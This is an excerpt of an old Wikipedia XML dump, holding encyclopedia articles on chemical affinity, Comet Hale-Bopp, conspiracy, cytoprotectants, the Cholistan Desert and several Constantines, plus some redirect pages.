The modern term chemical affinity is a somewhat modified variation of its eighteenth-century precursor &quot;elective affinity&quot; or elective attractions, a coinage of the Swedish chemist [[Torbern Olof Bergman]] from his book ''De attractionibus electivis'' (1775).  [[Antoine Lavoisier]], in his famed 1790 ''Elements of Chemistry'', refers to Bergmann’s work and discusses the concept of elective affinities or attractions.  The term generally relate to the phenomenon whereby certain atoms or molecules have the tendency to aggregate or bond.  For example, in the 1919 book ''Chemistry of Human Life'' physician George W. Carey states: ''“Health depends on a proper amount of iron phosphate Fe&lt;sub&gt;3&lt;/sub&gt;(PO&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt; in the blood, for the molecules of this salt have chemical affinity for oxygen and carry it to all parts of the organism.” '' In this antiquated context, chemical affinity is sometimes found synonymous with the term &quot;magnetic attraction&quot;.  Many writings, up until about 1925, also refer to a “law of chemical affinity”.

== Related ==
In 1809, based on the work of Bergmann, German scientist and philosopher [[Johann Wolfgang von Goethe]] published the novella [[Elective Affinities]] which extended the chemical term “elective affinities” through storyline to human relationships, both intimate and political. 

==References==
*[1] Partington, J.R. (1937). ''A Short History of Chemistry.'' New York: Dover Publications, Inc. [[ISBN|ISBN 0486659771]]
*{{1911}}

== See also ==
*[[Chemistry]]
*[[Chemical reaction]]
*[[Chemical bond]]
*[[Electronegativity]]
*[[Electron affinity]]
*[[Étienne François Geoffroy]] - Geoffroy's 1718 Affinity Table
*[[Valency (chemistry)|Valency]]

[[ar:ألفة كيميائية]]
[[it:affinità chimica]]</text>
    </revision>
  </page>
  <page>
    <title>Captain Vancouver</title>
    <id>7226</id>
    <revision>
      <id>15905304</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[George Vancouver]]
</text>
    </revision>
  </page>
  <page>
    <title>Comet Hale-Bopp</title>
    <id>7227</id>
    <revision>
      <id>40309031</id>
      <timestamp>2006-02-19T18:43:39Z</timestamp>
      <contributor>
        <username>Worldtraveller</username>
        <id>93723</id>
      </contributor>
      <comment>images now have license tags</comment>
      <text xml:space="preserve">{{Comet |
| name=C/1995 O1 (Hale-Bopp)
| image=[[Image:Comet Hale-Bopp.jpg|200px|Comet Hale-Bopp, shortly after passing [[perihelion]] in April 1997.]]
| discoverer=[[Alan Hale]] and&lt;br&gt;[[Thomas Bopp]]
| discovery_date=[[1995]]
| designations=The Great Comet of 1997,&lt;br&gt;C/1995 O1
| epoch=2450460.5
| semimajor=186 [[Astronomical Unit|AU]]
| perihelion=0.91 AU
| aphelion=371 AU
| eccentricity=0.995086
| period=2537 [[Julian year (astronomy)|a]]
| inclination= 89.4°
| last_p=[[April 1]], [[1997]]
| next_p=4534
}}

'''Comet Hale-Bopp''' ([[Astronomical naming conventions#Comets|formally designated]] '''C/1995&amp;nbsp;O1''') was probably the most widely observed [[comet]] of the 20th century, and one of the brightest seen for many [[decade]]s.  It was visible to the [[naked eye]] for a record 18&amp;nbsp;months, twice as long as the previous record holder, the [[Great Comet of 1811]].

Hale-Bopp was discovered on [[23 July]] [[1995]] at a very large distance from the [[Sun]], raising expectations that the comet could become very bright when it passed close to the Sun.  Although comet brightnesses are very difficult to [[predict]] with any degree of accuracy, Hale-Bopp met or exceeded most predictions for its brightness when it passed [[perihelion]] on [[April 1]] [[1997]].  The comet was dubbed '''the [[Great comet|Great Comet]] of 1997'''.

The passage of Hale-Bopp was notable also for inciting a degree of [[panic]] about comets not seen for decades.  Rumours that the comet was being followed by an [[extraterrestrial life|alien]] [[spacecraft]] gained remarkable currency, and inspired a mass [[suicide]] among followers of the [[Heaven's Gate (cult)|Heaven's Gate]] [[cult]].

==Discovery==
The comet was discovered by two independent observers, [[Alan Hale (astronomer)|Alan Hale]] and [[Thomas Bopp]], both in the [[United States]]. Hale had spent many hundreds of hours searching for comets without finding one, and was tracking known comets from his driveway in [[New Mexico]] when he chanced upon Hale-Bopp, shining at 11th&amp;nbsp;[[apparent magnitude|magnitude]] near a [[globular cluster]], [[Globular Cluster M70|M70]], in the constellation of [[Sagittarius]] just after midnight.  Hale first established that there was no other [[deep-sky object]] near M70, and then consulted a directory of known comets, finding that no known objects were in this area of sky.  Once he had established that the object was moving relative to the background stars, he [[email]]ed the [[Central Bureau of Astronomical Telegrams]], the clearing house for astronomical discoveries.

Bopp did not own a [[telescope]]. He was out with friends near [[Stanfield, Arizona]] observing star clusters and [[galaxy|galaxies]] when he chanced across the comet while at the eyepiece of his friend's telescope.  He realised he might have spotted something new when he checked his star atlases to find out what other deep-sky objects were near M70, and found that there were none. He actually contacted the Central Bureau of Astronomical Telegrams using a ''[[telegram]]''. The following morning, it was confirmed that this was a new comet, and it was named Comet Hale-Bopp, with the designation C/1995&amp;nbsp;O1.  The discovery was announced in [[International Astronomical Union]] circular 6187.

==Early progress==
[[Image:Hale-Bopp-large.jpg|thumb|150px|left|Comet Hale-Bopp, showing a white dust tail and blue gas tail.  [[ESO]], February 1997.]]

It was soon apparent that Hale-Bopp was no ordinary comet.  For a start, when its [[planetary orbit|orbit]] was calculated, it turned out to be 7.2&amp;nbsp;[[Astronomical Units]] (AU) from the Sun, placing it between [[Jupiter (planet)|Jupiter]] and [[Saturn (planet)|Saturn]] and by far the greatest distance from Earth at which a comet had been discovered.  Most comets at this distance are extremely faint, and show no discernable activity, but Hale-Bopp already had an observable [[coma (cometary)|coma]].  An image taken at the [[Anglo-Australian Telescope]] in 1993 was found to show the then-undiscovered comet some 13 AU from the sun, a distance at which most comets are essentially unobservable ([[Comet Halley|Halley's Comet]] was 50,000 times fainter at the same distance from the Sun).  Analysis indicated that its nucleus was about 50&amp;nbsp;[[kilometre]]s in diameter, nearly three times the size of Halley.

Its great distance and surprising activity indicated that Comet Hale-Bopp might become very bright indeed when it reached perihelion in 1997.  However, comet scientists were wary – comets can be extremely unpredictable, and many have large outbursts at great distance only to diminish in brightness later.  [[Comet Kohoutek]] in 1973 had been touted as a 'comet of the century' and turned out to be very unspectacular.

==Hale-Bopp becomes a Great Comet==
Hale-Bopp became visible to the [[naked eye]] in the summer of 1996, and although its rate of brightening slowed considerably during the latter half on 1996, scientists were still cautiously optimistic that it would become very bright.  It was too close to the Sun to be observable during December 1996, but when it reappeared in January 1997 it was already bright enough to be seen by anyone who looked for it, even from large cities with [[light pollution|light-polluted]] skies.

[[Image:Comet-Hale-Bopp-29-03-1997_hires_adj.jpg|thumb|right|150px|The comet became a spectacular sight in early 1997.]]

The [[Internet]] was a growing phenomenon at the time, and numerous websites that tracked the comet's progress and provided daily images from around the world became extremely popular.  The Internet played a large role in encouraging the unprecedented public interest in Hale-Bopp.

As the comet approached the Sun, it continued to brighten, shining at 2nd&amp;nbsp;magnitude in February, and showing a growing pair of tails, the blue gas tail pointing straight away from the Sun and the yellowish dust tail curving away along its orbit.  On [[March 9]], a [[solar eclipse]] in [[Mongolia]] and eastern [[Siberia]] allowed observers there to see the comet in the daytime.  Hale-Bopp had its closest approach to Earth on [[March 22]], [[1997]].

As it passed perihelion on [[April 1]] [[1997]], the comet had developed into a spectacular sight.  It shone brighter than any star in the sky except [[Sirius]], and its two tails stretched 30-40 [[degree (angle)|degree]]s across the sky.  The comet was visible well before the sky got fully dark each night, and while many great comets are very close to the Sun as they pass perihelion, Comet Hale-Bopp was visible all night to [[northern hemisphere]] observers.

As impressive as the comet was, it could have been much more impressive.  Had it passed as close to Earth as [[Comet Hyakutake]] (C/1996 B2) did in 1996, then the comet's tail would have spanned the entire sky and it would have been brighter than the full [[moon]]. However, even though its closest approach to Earth was at a distance of 1.315&amp;nbsp;AU, a distance which would have rendered many lesser comets totally invisible, Hale-Bopp still spanned half the sky with its two tails, although the longest reaches of the tails were too faint to be visible to the naked eye.

==The comet recedes==
After its perihelion passage, the comet moved into the southern celestial hemisphere, and its show was over as far as most of the public were concerned.  The comet was much less impressive to [[Southern Hemisphere]] observers than it had been in the Northern Hemisphere, but southerners were able to see the comet gradually fade from view during the [[summer]] and [[autumn]] of 1997.  The last naked-eye observations were reported in December 1997, which meant that the comet had remained visible without aid for 569 days, or about 18 and a half months. The previous record had been set by the [[Great Comet of 1811]], which was visible to the naked eye for about 9 months.

As the comet receded it continued to fade, but it is still being tracked by astronomers.  As of [[As of 2005|January 2005]], the comet is further from the Sun than [[Uranus (planet)|Uranus]], at a distance from Earth of about 21&amp;nbsp;AU, but is still observable with large telescopes.  Recent observations have found that it still displays a distinct tail.

Astronomers expect that the comet will remain observable with large telescopes until perhaps 2020, by which time it will be nearing 30th&amp;nbsp;[[apparent magnitude|magnitude]].  By this time it will become very difficult to distinguish the comet from the large numbers of distant galaxies of similar brightness. It will return around the year 4380.

==Orbital changes==
The comet probably made its last perihelion 4,200&amp;nbsp;years ago.  Its orbit is almost [[perpendicular]] to the plane of the [[ecliptic]], which means that very close approaches to planets are rare.  However, in March 1997 the comet passed within 0.77&amp;nbsp;AU of [[Jupiter (planet)|Jupiter]], close enough for its orbit to be affected by Jupiter's [[gravity]].  The comet's orbit was shortened considerably to a period of 2,380&amp;nbsp;years, and it will next return to the inner solar system around the year 4380.  Its greatest distance from the sun ([[aphelion]]) will be about 360&amp;nbsp;AU, reduced from about 525.

==Scientific results==
Comet Hale-Bopp was observed intensively by [[astronomy|astronomers]] during its perihelion passage, and several important advances in cometary science resulted from these observations.

===Sodium tail===
[[Image:Hale-Bopp sodium tail.gif|thumb|left|200px|Comet Hale-Bopp's neutral sodium tail (the straight tail extending up to the left from the nucleus)]]

One of the most remarkable discoveries was that the comet had a third type of tail.  In addition to the well-known gas and dust tails, Hale-Bopp also exhibited a faint [[sodium]] tail, only visible with powerful instruments with dedicated filters.  Sodium emission had been previously observed in other comets, but had not been shown to come from a tail.  Hale-Bopp's sodium tail consisted of [[neutral|neutral atoms]], and extended to some 50 million kilometres in length.

The source of the sodium appeared to be in the inner coma, although not necessarily on the nucleus.  There are several possible mechanisms for generating a source of sodium atoms, including collisions between dust grains surrounding the nucleus, and 'sputtering' of sodium from dust grains by [[ultraviolet]] light.  It is not yet established which mechanism is primarily responsible for creating Hale-Bopp's sodium tail.

While the comet's dust tail roughly followed the path of the comet's orbit and the gas tail pointed almost directly away from the Sun, the sodium tail appeared to lie between the two.  This implies that the sodium atoms are driven away from the comet's head by [[radiation pressure]].

===Deuterium abundance===
The abundance of [[deuterium]] in Comet Hale-Bopp in the form of [[heavy water]] was found to be about twice as much as that in Earth's [[ocean]]s.  This implies that, although cometary impacts are thought to be the source of a significant amount of the water on Earth, they cannot be the only source if Hale-Bopp's deuterium abundance is typical of all comets.

The presence of deuterium in many other [[hydrogen]] compounds was also detected in the comet.  The ratio of deuterium to normal hydrogen was found to vary from compound to compound, which astronomers believe suggests that cometary ices were formed in [[interstellar cloud]]s, rather than in the [[solar nebula]].  Theoretical modelling of ice formation in interstellar clouds suggests that Comet Hale-Bopp formed at temperatures of around 25–45&amp;nbsp;[[Kelvin]].

===Organic species===
Spectroscopic observations of Hale-Bopp revealed the presence of many [[organic chemistry|organic chemicals]], several of which had never been detected in comets before.  These complex molecules may exist within the cometary nucleus, or might be synthesised by reactions in the coma.

===Rotation===
Comet Hale-Bopp's activity and outgassing was not spread uniformly over its nucleus, but instead came from several large jets from specific points.  Observations of the material streaming away from these jets (see movie of spiral waves [http://www2.jpl.nasa.gov/comet/anim30.html here]) allowed astronomers to measure the rotation period of the comet, which was found to be about 11&amp;nbsp;hours 46&amp;nbsp;minutes.  Superimposed on this rotation were several periodic variations over several days, implying that the comet was rotating about more than one [[Axis of rotation|axis]].

===A satellite?===
In 1999, a paper was published that hypothesised the existence of a binary [[comet nucleus|nucleus]] to fully explain the observed pattern of Comet Hale-Bopp's dust emission.  The paper was based on theoretical analysis, and did not claim an observational detection of the proposed satellite nucleus, but estimated that it would have a diameter of about 30&amp;nbsp;km, with the main nucleus being about 70&amp;nbsp;km across, and would orbit in about three days at a distance of about 180&amp;nbsp;km.

The findings of this paper were disputed by observational astronomers, as even with the high resolution available with the [[Hubble Space Telescope]], images of the comet reveal no trace of a double nucleus.  Also, while comets have been observed to break up before, no case has previously been found of a stable binary nucleus.  Given the very small mass of cometary nuclei, the orbit of a binary nucleus would be easily disrupted by the gravity of the Sun and [[planet]]s.

Observations using [[adaptive optics]] in late 1997 and early 1998 were claimed to show a double peak in the brightness of the nucleus.  However, controversy still exists over whether any observations can only be explained by a binary nucleus.

==Paranoia and superstition==
[[Image:Comet Hale-Bopp Death Valley.jpg|thumb|right|150px|Comet Hale-Bopp over [[Zabriskie Point]], [[Death Valley]], USA]]

In many cultures, comets have historically been viewed as bad [[omen]]s and viewed with great suspicion.  Perhaps because of the very long build-up to Hale-Bopp's passage, and its rare size and activity, the comet became the subject of many bizarre beliefs and theories.

In November 1996, amateur astronomer Chuck Shramek of [[Houston, Texas]] took a [[charge-coupled device|CCD]] image of the comet, which showed a fuzzy, slightly elongated object nearby. When his computer sky-viewing program did not identify the star, Shramek called the [[Art Bell]] radio program to announce that he had discovered a 'Saturn-like object' following Hale-Bopp.  [[unidentified flying object|UFO]] enthusiasts, such as [[remote viewing]] proponent [[Courtney Brown]], soon concluded that there was an [[extraterrestrial life|alien]] [[spacecraft]] following the comet. In fact, the object was simply an 8.5-magnitude [[star]], SAO141894, which did not appear on Shramek's computer program because the user preferences were set incorrectly. [http://www.sipe.com/halebopp/slo2.htm] Shramek, however, refused to admit to his mistake when this was pointed out to him.

Later, Art Bell even claimed to have obtained an image of the object from an anonymous astrophysicist who was about to confirm its discovery.  However, astronomers [[Olivier Hainaut]] and [[David J. Tholen]] of the [[University of Hawaii]] stated that the alleged photo was an altered copy of one of their own comet images [http://www.sc.eso.org/~ohainaut/Hale_Bopp/hb_ufo_tholen.html].

A few months later, in March 1997, the cult group [[Heaven's Gate (cult)|Heaven's Gate]] chose the appearance of the comet as a signal for their mass [[cult suicide]].  They claimed they were leaving their earthly bodies to travel to the spaceship following the comet.

==Hale-Bopp's legacy==
For almost everyone who saw it, though, Hale-Bopp was simply a beautiful and spectacular sight in the evening skies.  Its lengthy period of visibility and extensive coverage in the media meant that the comet was probably the most-observed comet in history, making a far greater impact on the general public than the return of [[Comet Halley|Halley's Comet]] in 1986 did, and certainly being seen by a greater number of people than witnessed any of Halley's previous appearances.  It was a record-breaking comet: discovered the furthest from the Sun, with the largest cometary nucleus known, and it was visible to the naked eye for twice as long as the previous record-holder.  It was also brighter than magnitude&amp;nbsp;0 for eight&amp;nbsp;weeks, longer than any other comet in the past thousand years.

==References==
# Cremonese G., Boehnhardt H., Crovisier J. ''et al'', ''Neutral Sodium from Comet Hale-Bopp: A Third Type of Tail'', Astrophysical Journal Letters, v. 490, p. L199
# Hale, A., &amp; Bopp, T. 1995, IAU Circular, 6187
# Marchis F., Boehnhardt H., Hainaut O.R., Le Mignant D. (1999), ''Adaptive optics observations of the innermost coma of C/1995 O1. Are there a &quot;Hale&quot; and a &quot;Bopp&quot; in comet Hale-Bopp?'', Astronomy and Astrophysics, v.349, p.985
# Rodgers S.D., Charnley S.B. (2001), ''Organic synthesis in the coma of Comet Hale-Bopp?'', Monthly Notices of the Royal Astronomical Society, v. 320, p. L61-L64.
# Sekanina Z. (1999), ''Detection of a Satellite Orbiting The Nucleus of Comet Hale-Bopp (C/1995 O1)'', Earth, Moon, and Planets, v.77, p.155
# Warell J., Lagerkvist C.-I., Lagerros J.S.V. (1999), ''Dust continuum imaging of C/1995 O1 (Hale-Bopp):. Rotation period and dust outflow velocity'', Astronomy and Astrophysics Supplement, v.136, p.245
# Yeomans, Don. (1997) ''[http://eiger.physics.uiowa.edu/~vis/hale-bopp-ephem.html Orbit and Ephemeris Information for Comet Hale-Bopp (1995 O1)]''. Retrieved [[February 24]], [[2005]].
# Newcott, William R. (Dec. 1997). &quot;The age of comets&quot;. ''National Geographic'',p. 100.

==External links==
*[http://www.cometography.com/lcomets/1995o1.html Cometography.com: Comet Hale-Bopp]
*[http://www.jpl.nasa.gov/comet NASA Hale-Bopp page]
*[http://neo.jpl.nasa.gov/cgi-bin/db_shm?sstr=Hale-Bopp&amp;group=all JPL Orbit Simulation (Accessed 2/7/06)]

[[Category:Comets|Hale-Bopp]]

{{Link FA|es}}

[[ca:Cometa Hale-Bopp]]
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[[es:Cometa Hale-Bopp]]
[[eo:Kometo Hale-Bopp]]
[[fr:Comète Hale-Bopp]]
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[[nl:Komeet Hale-Bopp]]
[[ja:ヘール・ボップ彗星]]
[[pl:Kometa Hale-Bopp]]
[[pt:Cometa Hale-Bopp]]
[[sk:Kométa Hale-Bopp]]
[[sv:Hale–Bopp]]
[[zh:海爾·博普彗星]]
{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>C-star algebra</title>
    <id>7229</id>
    <revision>
      <id>15905307</id>
      <timestamp>2004-09-20T22:13:41Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[C*-algebra]]</text>
    </revision>
  </page>
  <page>
    <title>Conspiracy</title>
    <id>7230</id>
    <revision>
      <id>39690702</id>
      <timestamp>2006-02-15T04:43:57Z</timestamp>
      <contributor>
        <ip>59.184.9.37</ip>
      </contributor>
      <text xml:space="preserve">{{Wiktionary}}

*'''Conspiracy''', as a legal term, is an agreement of two or more people either to commit a [[crime]] or to achieve a lawful end by unlawful means: see [[conspiracy (crime)]], and [[conspiracy (civil)]].  

*'''Conspiring''', in common non-legal usage, is the act of working in secret to obtain some improper goal, generally with negative connotations. 

==Etymology==

Etymologically, the term comes from Latin ''con''- &quot;with, together&quot;, and ''spirare'' &quot;to breathe&quot;.

==Other uses==

*'''[[Conspiracy (film)]]''' can also refer to a [[2001]] [[TV]] [[film]] released by [[HBO]], starring [[Kenneth Branagh]], [[Stanley Tucci]], and [[Colin Firth]], about the [[Wannsee Conference]] in [[1942]] [[Germany]].
*'''[[Conspiracy theory]]'''
*'''[[Conspiracy (demogroup)|Conspiracy]]''', a [[Hungary|Hungarian]] [[demogroup]].
*The '''[[Great Conspiracy]]''', a barbarian assault on [[Roman Britain]]
*'''[[KGB (computer game)]]''', a 1992 computer game also known as '''Conspiracy'''.
*'''[[Conspiracy (TNG episode)]]''', the name of an episode of [[Star Trek: The Next Generation]].
*'''[[Conspiracy (film)]]''', the name of a [[television]] film about the [[Wannsee conference]].
*'''[[Conspiracy (Caesar)]]''' for the conspiracy to kill [[Julius Caesar]].

==External links==
*[http://www.alienhub.com Forums for discussing conspiracy theories]
*[http://www.conspiracyarchive.com Conspiracy Links]
*[http://home.att.net/~rjnorton/Lincoln74.html Lincoln Assassination Conspiracy Theories]
*[http://conspiracy.top-site-list.com/ Top Conspiracy Sites]

{{disambig}}</text>
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  </page>
  <page>
    <title>Cytoprotectant</title>
    <id>7231</id>
    <revision>
      <id>33969032</id>
      <timestamp>2006-01-05T12:46:55Z</timestamp>
      <contributor>
        <ip>58.9.166.156</ip>
      </contributor>
      <text xml:space="preserve">A '''cytoprotectant''' is any [[medication]] that combats [[Gastric ulcer|ulcer]]s not by reducing [[gastric acid]] but by increasing mucosal protection.

Drugs that work in this manner include Carbenoxolone, deglycyrrhizinised [[liquorice]], sucralfate (aluminium hydroxide and sulphated [[sucrose]]), the [[prostaglandin]] analogue and tri-potassium di-citrato bismuthate.

{{med-stub}}

[[th:ไซโตโปรเทคแตนต์]]</text>
    </revision>
  </page>
  <page>
    <title>Cholistan Desert</title>
    <id>7232</id>
    <revision>
      <id>25661599</id>
      <timestamp>2005-10-16T14:23:20Z</timestamp>
      <contributor>
        <username>Crux</username>
        <id>158860</id>
      </contributor>
      <minor />
      <comment>interwiki (on de: Thar/Cholistan is in one article)</comment>
      <text xml:space="preserve">'''Cholistan ''' is a desert located in the province of [[Punjab, Pakistan]].  It continues as the [[Thar Desert]] in the eastern part of the province of [[Sind]] in Pakistan as well as in [[India]].

The dry bed of the [[Hakra River]] runs through the area, along which many settlements of the [[Indus Valley Civilisation]] have been found. The Hakra river is believed to be the remnant of ancient [[Vedic Sarasvati River|Sarasvati river]].

{{Pakistan-geo-stub}}

[[Category:Deserts of Asia]]
[[Category:Geography of Pakistan]]
[[fr:Désert du Cholistan]]
[[de:Thar]]</text>
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  </page>
  <page>
    <title>Constantine I of Scotland</title>
    <id>7233</id>
    <revision>
      <id>38911649</id>
      <timestamp>2006-02-09T13:11:06Z</timestamp>
      <contributor>
        <ip>153.1.13.173</ip>
      </contributor>
      <text xml:space="preserve">'''Constantine I''' ([[Scottish Gaelic]]: '''Causantín mac Cináeda)''' ([[836]]&amp;ndash;[[877]]), son of King [[Kenneth I of Scotland]], became [[King of Scots]] and [[King of the Picts]] in [[862]] when he succeeded his uncle [[Donald I of Scotland]].

Constantine I was a warrior [[monarch|King]]. During his reign he spent most of his days fighting off the [[viking]]s or trying to expand the [[Kingdom of Scotland]] into the south. In [[872]] his assassination of 'Rhun' ([[Arthgal]]), [[King of Strathclyde]], and his brother-in-law, meant that the southern regions of what is now [[Scotland]], became a part of his own [[Alba]].

The year [[864]] saw the rampage of the [[Norsemen]] led by [[Olaf the White]] from [[Dublin]]. Swiftly defeated by Constantine I, the Norsemen relaxed their threats on him until [[Thorsten the Red]] led them, but he too was defeated successfully by King Constantine I.

Although usually confident in battle, Constantine I often resorted to tactics of bribery and payoffs to his rivals in order to keep the peace. This form of peace-keeping was later employed by the [[England|English]] Royals, namely King [[Ethelred II of England]] in the year [[1000]]. In the end though, Constantine I was finally defeated by the Norsemen, when a raiding party known as the 'Black Strangers' from Dublin made a base for themselves in [[Fife]] from which they launched their attacks. It was during one of these attacks that Constantine I met his match.

He was killed in battle against the Vikings in [[877]] at the &quot;Black Cave&quot; (Inverdovat) in Forgan, Fife.  His successor was his brother [[Aedh of Scotland]].  He had a son, Donald, who became King [[Donald II of Scotland]] following the joint reign of Kings [[Eochaid of Scotland]] and [[Giric of Scotland]].

== See also ==
*[[Kingdom of Scotland]]

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[[de:Konstantin I. (Schottland)]]
[[fr:Constantin Ier d'Écosse]]
[[he:קונסטנטין הראשון מלך סקוטלנד]]
[[pl:Konstantyn I (król Szkocji)]]</text>
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  <page>
    <title>Constantine II (emperor)</title>
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      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Solidus Constantine II-heraclea RIC vII 101.jpg|thumb|300px|Constantine II as [[caesar (title)|caesar]].]]
'''Constantine II''' (February [[317]] - [[340]]) was [[List of Roman Emperors|Roman Emperor]] ([[337]] - [[340]]). The eldest son of [[Constantine I (emperor)|Constantine I the Great]] and [[Fausta]], he was born at [[Arles]].

Following the death of his father in [[337]], Constantine II became Emperor jointly with his brothers [[Constantius II]] and [[Constans]]. His section of the Empire was [[Gaul]], [[Britain]] and [[Spain]].

At first, he was the guardian of his younger brother Constans, whose portion was [[Italy]], [[Africa]] and [[Illyria]]. As Constans came of age, Constantine would not relinquish the guardianship and in [[340]] he marched against Constans [[Italy]], but was defeated at [[Aquileia]] and died in battle. Constans came to control his deceased brother's realm.

iam feelinmg sexy

== External links ==
{{Commons|Constantine II (emperor)}}

{{Roman Emperor|Prev=[[Constantine I (emperor)|Constantine I]] | CoEmperor=''Co-Emperor with:'' [[Constantius II]] and [[Constans]] | Next=[[Constantius II]] and [[Constans]] | years=337&amp;ndash;340}}

[[Category:317 births]]
[[Category:340 deaths]]
[[Category:Roman emperors]]
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[[pl:Konstantyn II (cesarz rzymski)]]
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  <page>
    <title>Constantine II of Scotland</title>
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      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">'''Constantine II (Causantín mac Áeda)''' ([[874]]?&amp;ndash;[[952]]) was king of [[Scotland]] from [[900]] to [[943]]. He was the son of [[Aedh of Scotland|King Aedh]], first cousin of the previous King [[Donald II of Scotland|Donald II]], and first cousin [[once removed]] of his successor [[Malcolm I of Scotland|Malcolm I]], to whom he left his kingdom upon abdicating and becoming a monk. Constantine II's reign is the second longest reign in Scottish history. 

Constantine II succeeded Donald II to the Scottish throne in 900. If a coronation took place, then there is no surviving record of it.

During his reign, Constantine II had to fend off [[Viking]] raids from the north and west. The earliest of these involved driving the Vikings away from Scotland, and this reached a triumphant climax at the [[Battle of Scone]] in [[904]], after which the Vikings were forced to withdraw from Scotland. However, by then, the Vikings had laid waste to much of Scotland, and in particular [[Dunkeld]].

Constantine II later struggled to win land from, or at least not lose land to, his neighbours to the south, the [[Anglo-Saxons]] [[earldom]] of [[Northumbria]] and the Norse [[kingdom of York]], where the Vikings, led by the Viking king Rognvald, had resettled themselves. Constantine II and the [[Earl of Bamburgh]], [[Ealdred I of Bernicia|Ealdred I]], were involved in two battles with [[Rognvald Gudrodsson]] (referred to as the [[Battles of Corbridge]]) in that area in [[915]] and [[918]], both of which resulted ultimately in a cessation of hostilities there with the Norse.

When he was not involved in fighting Vikings, Constantine II remodelled the Christian church of the day to be more Gaelic in nature. This included a [[Synod at Scone]] in [[906]], and he introduced the [[Mormaer|mormaer]] ([[earl]]s) system to Scotland.

Constantine II married at some point in his life, but virtually nothing is known of it. The date and place of the marriage are unrecorded, and his wife's name is likewise forgotten. It is known, however, that the marriage produced at least three children: two sons and a daughter.

Constantine II's daughter, whose name is also no longer known, married [[Olaf III Guthfrithson]], the Norse King of Dublin at the time, in [[937]], in order to establish a more stable relationship with the Norse. At least three children later came from this marriage. If it was intended to contribute to holding back Northumbria, it did not. Constantine II was defeated at the [[Battle of Brunanburh]] by [[Athelstan of England|King Athelstan of England]] in 937. One of Constantine II's sons, Cellach, died in this battle.

In 943, Constantine II abdicated in favour of Malcolm I (943&amp;ndash;954) and entered a [[Culdee]] monastery in [[St Andrews]], [[Fife]], and eventually became Abbot there. He died peacefully in [[952]], and was probably buried at the monastery. Constantine II's surviving son, [[Indulf of Scotland|Indulf]], later became King of Scotland. 

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[[de:Konstantin II. (Schottland)]]
[[fr:Constantin II d'Écosse]]
[[no:Konstantin II av Skottland]]</text>
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  <page>
    <title>Constantine I (emperor)</title>
    <id>7236</id>
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      <timestamp>2006-03-04T04:01:09Z</timestamp>
      <contributor>
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      <minor />
      <comment>Rv de-Wikifying by 24.209.41.243</comment>
      <text xml:space="preserve">[[Image:Musei Capitolini-testa bronzea di Costantino-antmoose.jpg|thumb|200px|Contemporary bronze head of Constantine. This is probably how Constantine looked.]]
'''Gaius Flavius Valerius Aurelius Constantinus''' ([[Latin]]: &lt;small&gt;IMP CÆSAR FLAVIVS CONSTANTINVS PIVS FELIX INVICTVS AVGVSTVS &lt;/small&gt;[[#Notes|&amp;sup1;]]) ([[February 27]], [[272]]&amp;ndash;[[May 22]], [[337]]), commonly known as '''Constantine I''', '''Constantine the Great''', or (among [[Orthodox Christians]]) '''Saint Constantine''', was proclaimed [[Augustus (honorific)|Augustus]] by his troops on [[July 25]],[[306]] and ruled an ever-growing portion of the [[Roman Empire]] until his death. Constantine is famed for his refounding of [[Byzantium]] (modern [[Istanbul]]) as &quot;Nova Roma&quot; ([[New Rome]]) or [[Constantinople]] (Constantine's City). 

Constantine is best remembered in modern times for the [[Edict of Milan]] in 313 and the [[First Council of Nicaea|Council of Nicaea]] in 325, which fully legalized [[Christianity]] in the Empire for the first time. These actions are considered major factors in that religion's spread, and his reputation as the &quot;first Christian Emperor&quot; has been promulgated by historians from [[Lactantius]] and [[Eusebius of Caesarea]] to the present day, though he himself was [[baptism|baptized]] only on his death bed.

==Early life==
[[Image:yorkconstantine.jpg|thumb|200px|Bronze statue of Constantine I in [[York]], [[England]],  near the spot where he was proclaimed Emperor in 306]]

Constantine was born at [[Naissus]] in Upper [[Moesia]] (today's Niš, [[Serbia]]) on 27 February 272 or 273, to Greek general, [[Constantius I Chlorus]], and his first wife [[Helena of Constantinople|Helena]], an innkeeper's daughter who at the time was only sixteen years old. His father left his mother around 292 to marry [[Flavia Maximiana Theodora]], daughter or step-daughter of the [[Western Roman Emperor]] [[Maximian]]. Theodora would give birth to six half-siblings of Constantine, including [[Julius Constantius]].

Young Constantine served at the court of [[Diocletian]] in [[Nicomedia]], after the appointment of his father as one of the two ''[[Caesar (title)|caesares]]'' (junior emperors) of the [[Tetrarchy]] in 293. In 305, the ''[[Augustus]]'', [[Maximian]], [[abdicate]]d, and Constantius succeeded to the position. However, Constantius fell sick during an expedition against the [[Picts]] of [[Caledonia]], and died on [[July 25]], [[306]]. Constantine managed to be at his deathbed in Eboracum ([[York]]) of [[Roman Britain]], where the loyal general [[Chrocus]], of [[Alamanni]]c descent, and the troops loyal to his father's memory proclaimed him an Augustus (&quot;Emperor&quot;). For the next eighteen years, he fought a series of [[battle]]s and [[war]]s of consolidation that first obtained him co-rule with the Eastern Roman Emperor, and then finally leadership of a reunified [[Roman Empire]].

== Constantine and Christianity==
[[Image:Constantine's conversion.jpg|thumb|''Constantine's conversion'', by [[Rubens]].]]
{{main|Constantine I and Christianity}}

